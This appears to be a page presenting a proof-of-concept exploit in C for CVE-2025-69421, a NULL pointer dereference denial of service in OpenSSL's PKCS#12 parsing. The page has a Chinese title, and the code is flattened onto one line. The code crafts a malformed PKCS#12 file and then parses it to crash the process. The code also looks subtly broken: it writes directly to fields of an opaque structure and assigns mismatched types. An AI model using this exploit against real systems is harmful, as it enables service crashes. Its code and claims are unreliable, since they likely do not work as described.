CVE-2025-69421 OpenSSL PKCS12_item_decrypt_d2i_ex NULL指针解引用拒绝服务漏洞

/* * CVE-2025-69421 PoC - Malformed PKCS#12 NULL Pointer Dereference * This PoC creates a malformed PKCS#12 file that triggers NULL pointer dereference * in PKCS12_item_decrypt_d2i_ex() function. * * Compile: gcc -o cve_2025_69421_poc cve_2025_69421_poc.c -lssl -lcrypto * Usage: ./cve_2025_69421_poc <output_p12_file> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <openssl/err.h> #include <openssl/pem.h> #include <openssl/pkcs12.h> int create_malformed_pkcs12(const char *filename) { /* * Create a minimal malformed PKCS#12 structure * The key is to craft a PKCS#12 with missing or malformed * encrypted data that will cause oct parameter to be NULL */ PKCS12 *p12 = PKCS12_new(); if (!p12) return -1; /* Set version to trigger parsing path */ ASN1_INTEGER_set(p12->version, 3); /* Create empty or minimal safe bags */ STACK_OF(PKCS12_SAFEBAG) *bags = sk_PKCS12_SAFEBAG_new_null(); if (bags) { /* Add a malformed SAFEBAG that will cause issues */ PKCS12_SAFEBAG *bag = PKCS12_SAFEBAG_new(); if (bag) { /* Set a corrupted or missing encrypted content */ /* This will lead to NULL oct parameter in PKCS12_item_decrypt_d2i_ex */ PKCS12_MAC_DATA *mac = PKCS12_MAC_DATA_new(); if (mac) { /* Leave mac data incomplete to trigger the vulnerable code path */ p12->mac = mac; } sk_PKCS12_SAFEBAG_push(bags, bag); } p12->authsafes = sk_PKCS12_SAFEBAG_value(bags, 0); } /* Write the malformed PKCS#12 */ FILE *fp = fopen(filename, "wb"); if (fp) { i2d_PKCS12_fp(fp, p12); fclose(fp); } PKCS12_free(p12); return 0; } int trigger_vulnerability(const char *filename) { /* * Attempt to parse the malformed PKCS#12 file * This will trigger the NULL pointer dereference */ FILE *fp = fopen(filename, "rb"); if (!fp) { printf("[-] Cannot open file: %s\n", filename); return -1; } PKCS12 *p12 = d2i_PKCS12_fp(fp, NULL); fclose(fp); if (p12) { EVP_PKEY *pkey = NULL; X509 *cert = NULL; STACK_OF(X509) *ca = NULL; /* This call triggers PKCS12_parse -> PKCS12_unpack_p7encdata */ int ret = PKCS12_parse(p12, "", &pkey, &cert, &ca); printf("[*] PKCS12_parse returned: %d\n", ret); if (pkey) EVP_PKEY_free(pkey); if (cert) X509_free(cert); if (ca) sk_X509_pop_free(ca, X509_free); PKCS12_free(p12); } else { printf("[-] Failed to parse PKCS#12 (expected with malformed file)\n"); ERR_print_errors_fp(stderr); } return 0; } int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <output_p12_file>\n", argv[0]); return 1; } printf("[*] Creating malformed PKCS#12 file...\n"); if (create_malformed_pkcs12(argv[1]) == 0) { printf("[+] Malformed PKCS#12 created: %s\n", argv[1]); printf("[*] Attempting to parse (this may trigger crash)...\n"); trigger_vulnerability(argv[1]); } return 0; }